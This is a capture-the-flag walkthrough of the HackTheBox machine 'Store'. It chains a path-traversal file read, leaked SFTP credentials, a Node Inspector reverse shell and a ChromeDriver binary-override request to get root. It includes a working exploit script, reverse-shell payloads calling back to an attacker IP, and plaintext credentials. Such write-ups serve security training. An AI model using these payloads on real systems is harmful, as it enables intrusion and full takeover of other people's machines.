HTB: Store Writeup
Store - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Store |
| OS | Linux |
| Difficulty | Hard |
| Points | 790 |
| Release Date | 28 October 2025 |
| IP Address | 10.129.238.32 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Store is a Hard difficulty Linux machine hosting a Node.js web application with file upload and storage functionality. The application is vulnerable to Arbitrary File Read (AFR), exposing sensitive configuration files and environment variables that reveal SFTP credentials and a critical Node.js --inspect flag running on an internal port. By leveraging SFTP for port forwarding, we can access the Node Inspector on port 9229, attach a debugger, and execute arbitrary JavaScript to spawn a reverse shell as the dev user. For privilege escalation, we exploit the ChromeDriver service listening on port 9515 via its WebDriver API to execute a malicious binary and gain root access.
TL;DR: AFR vuln → extract .env & environ → SFTP port forward → Node Inspector RCE (dev user) → ChromeDriver /session exploit → root shell
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- 10.129.238.32Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.135000/tcp open http Node.js (Express middleware)5001/tcp open http Node.js (Express middleware)5002/tcp open http Node.js (Express middleware)The target exposes three identical Node.js web applications running on ports 5000, 5001, and 5002, with SSH access on port 22.
Service Enumeration
Visiting the web application on port 5000 reveals a “Secure Encrypted Storage” interface that allows users to upload files. The application stores uploaded files and displays them in a “Stored files” section. Files can be viewed and downloaded via the /file/<file_name> endpoint.
Key observations:
- The application uses Express middleware (Node.js framework)
- Files are uploaded via the
/uploadendpoint - Files are retrieved via the
/file/<file_name>endpoint - A
/listendpoint displays all stored files - A
/tmpdirectory is accessible and contains uploaded files
Vulnerability Assessment
Arbitrary File Read (AFR): The /file/ endpoint accepts file path parameters without proper validation, allowing directory traversal attacks via URL encoding.
ffuf -u http://10.129.238.32:5000/file/FUZZ -w /usr/share/wordlists/seclists/LFI-Jhaddix.txt -fs 567Fuzzing reveals that the payload ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd successfully retrieves /etc/passwd. However, the file contents are encrypted—a critical clue for exploitation.
Directory Enumeration:
gobuster dir -k -u http://10.129.238.32:5000/ -w /usr/share/wordlists/seclists/raft-small-words-lowercase.txt -t 200Results show /upload, /list, /tmp, /css, and /images directories. The /tmp directory stores encrypted versions of uploaded files.
Initial Foothold
Exploitation Path
Step 1: Decrypt Files via Upload-Download Cycle
The application encrypts files on upload but stores both encrypted and decrypted versions temporarily. By retrieving an encrypted file via AFR, uploading it back to the /upload endpoint, and downloading it from /tmp/, we can obtain the decrypted plaintext.
Create the exploitation script lfi.py:
#!/usr/bin/env python3# Usage: python3 lfi.py <file_path>
import requestsimport sysimport reimport base64
def download(file): ip = '10.129.238.32' file = file.replace('/', '%2F') url = f'http://{ip}:5000/file/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F{file}'
try: r = requests.get(url, timeout=3) except requests.exceptions.Timeout: print('The request timed out') return None
print(f"Status Code: {r.status_code}") if len(r.content) == 0: return None
print('Found file... -> upload')
# Extract base64-encoded content from response result = re.findall('base64,(.*?")', r.content.decode()) result = result[0] result = result[:-1]
convertedbytes = base64.b64decode(result)
# Re-upload encrypted file postUrl = f'http://{ip}:5000/upload' multipart_form_data = { 'imageupload': ('data.bin', convertedbytes), 'uploadimage': (None, 'Upload File') }
p = requests.post(postUrl, files=multipart_form_data) url2 = f'http://{ip}:5000/tmp/data.bin' r2 = requests.get(url2)
if len(r2.content) == 0: return None
print(r2.content.decode())
download(sys.argv[1])Step 2: Extract Sensitive Configuration Files
Retrieve the /home/dev/projects/store1/.env file:
python3 lfi.py /home/dev/projects/store1/.envOutput:
SFTP_URL=sftp://sftpuser:WidK52pWBtWQdcVC@localhostSECRET=Hm9zeWC38STORE_HOME=/home/dev/projects/store1PORT=5000This reveals SFTP credentials and the encryption secret.
Retrieve environment variables via /proc/self/environ:
python3 lfi.py /proc/self/environOutput contains:
npm_lifecycle_script=nodemon --exec 'node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js'This reveals that Node.js is running with the --inspect flag on port 9229, enabling remote debugging and code execution.
Step 3: Set Up SFTP Port Forwarding
The Node Inspector on port 9229 is only accessible locally. Use SFTP to establish port forwarding through a custom SSH handler.
Create sftp_port.sh:
#!/bin/shexec ssh -L9229:127.0.0.1:9229 "$@"Make it executable:
chmod +x sftp_port.shCreate a modified SFTP binary that allows port forwarding:
sed 's/AllForwardings yes/AllForwardings no /' < /usr/bin/sftp > sftp.noclearforwardchmod +x sftp.noclearforwardEstablish the port forwarding connection:
./sftp.noclearforward -S ./sftp_port.sh -oClearAllForwardings\ no sftpuser@10.129.238.32# Enter password: WidK52pWBtWQdcVCVerify port 9229 is now accessible locally:
ss -tnlp | grep 9229Output:
LISTEN 0 128 127.0.0.1:9229 0.0.0.0:* users (("ssh",pid=13990,fd=5))Step 4: Exploit Node Inspector for RCE
Open a Chromium-based browser and navigate to chrome://inspect. The remote debugger target should appear. Click “inspect” to open the DevTools console.
Start a netcat listener:
nc -nvlp 1337In the DevTools console, execute the reverse shell payload:
(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(1337, "10.10.14.68", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; // Prevents crash})();Result: Shell received as user dev:
$ nc -nvlp 1337listening on [any] 1337 ...connect to [10.10.14.68] from (UNKNOWN) [10.129.238.32] 35544iduid=1001(dev) gid=1001(dev) groups=1001(dev)Step 5: Upgrade Shell
Convert to a proper TTY shell:
script /dev/null -c bashexport TERM=xterm# Press Ctrl+Zstty raw -echo && fg# Press Enter twiceStep 6: Capture User Flag
cat /home/dev/user.txtPrivilege Escalation
Exploitation Path
Step 1: Discover ChromeDriver Service
Enumerate listening ports on the compromised system:
ss -tnlpOutput:
LISTEN 0 5 127.0.0.1:9515 0.0.0.0:*Port 9515 is typically used by ChromeDriver. Query the /status endpoint to confirm:
curl http://127.0.0.1:9515/statusOutput:
{ "value": { "build": { "version": "110.0.5481.77 (65ed616c6e8ee3fe0ad64fe83796c020644d42af-refs/branch-heads/5481@{#839})" }, "message": "ChromeDriver ready for new sessions.", "os": { "arch": "x86_64", "name": "Linux", "version": "6.8.0-1040-aws" }, "ready": true }}Confirmed: ChromeDriver is running.
Step 2: Create Reverse Shell Payload
Create a reverse shell script on the target system:
cat > /home/dev/rev.sh << 'EOF'#!/bin/bashrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.68 1337 >/tmp/fEOF
chmod +x /home/dev/rev.shStep 3: Exploit ChromeDriver /session Endpoint
The ChromeDriver /session endpoint accepts a POST request with capabilities. By specifying goog:chromeOptions.binary, we can override the browser binary with an arbitrary executable.
Start a netcat listener:
nc -nvlp 1337Send the malicious POST request:
curl -v -X POST 'http://127.0.0.1:9515/session' \ -H 'Content-Type: application/json' \ -H 'Accept: application/json' \ -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' \ --data-raw '{"capabilities": {"alwaysMatch": {"goog:chromeOptions": {"binary": "/home/dev/rev.sh"}}}}'ChromeDriver processes this request and attempts to launch the “browser” using /home/dev/rev.sh instead of the Chrome binary, executing our reverse shell.
Step 4: Receive Root Shell
Output on netcat listener:
$ nc -nvlp 1337listening on [any] 1337 ...connect to [10.10.14.68] from (UNKNOWN) [10.129.238.32] 45586/bin/sh: 0: can't access tty; job control turned off# iduid=0(root) gid=0(root) groups=0(root)Step 5: Capture Root Flag
cat /root/root.txtAttack Chain Summary
Arbitrary File Read (.env) ↓Extract SFTP Credentials & Environment Variables ↓Discover Node.js --inspect Flag on Port 9229 ↓SFTP Port Forwarding to Localhost ↓Chrome Inspector Remote Debugging ↓Execute Reverse Shell JavaScript ↓Shell as dev User ↓Discover ChromeDriver on Port 9515 ↓Exploit /session Endpoint with Binary Override ↓Root ShellTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
ffuf | Fuzzing to identify AFR vulnerability |
gobuster | Directory enumeration |
curl | HTTP requests and API interaction |
requests (Python) | Scripted HTTP interactions for file decryption |
sftp | Secure File Transfer Protocol with port forwarding |
ssh | Tunneling and port forwarding backend |
netcat | Reverse shell listener |
| Chrome DevTools | Node Inspector debugging and code execution |
Key Learnings
Techniques Practiced
- Arbitrary File Read (AFR) exploitation via directory traversal
- Encryption bypass through upload-download cycles
- Environment variable enumeration to discover debug services
- Port forwarding via SFTP for internal service access
- Node.js Inspector debugging for remote code execution
- ChromeDriver WebDriver API exploitation for binary execution
- Reverse shell creation and TTY upgrading
- Multi-stage exploitation combining multiple vulnerabilities
Lessons Learned
-
Debug flags in production are critical vulnerabilities. The
--inspectflag enabled remote debugging without authentication, leading directly to RCE. -
File encryption at rest doesn’t guarantee confidentiality. If the application can decrypt files for legitimate purposes, attackers can often leverage this functionality.
-
SFTP can enable port forwarding creatively. Understanding SSH’s tunneling capabilities extends attack surface beyond traditional use cases.
-
Service discovery reveals attack surfaces. Enumerating all listening ports revealed ChromeDriver, which had an exploitable API.
-
Binary override in application launchers is dangerous. Allowing custom binaries to be executed, even in legitimate contexts, creates privilege escalation pathways.
-
Credential exposure through environment variables. Applications should never expose sensitive data through accessible process environments.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>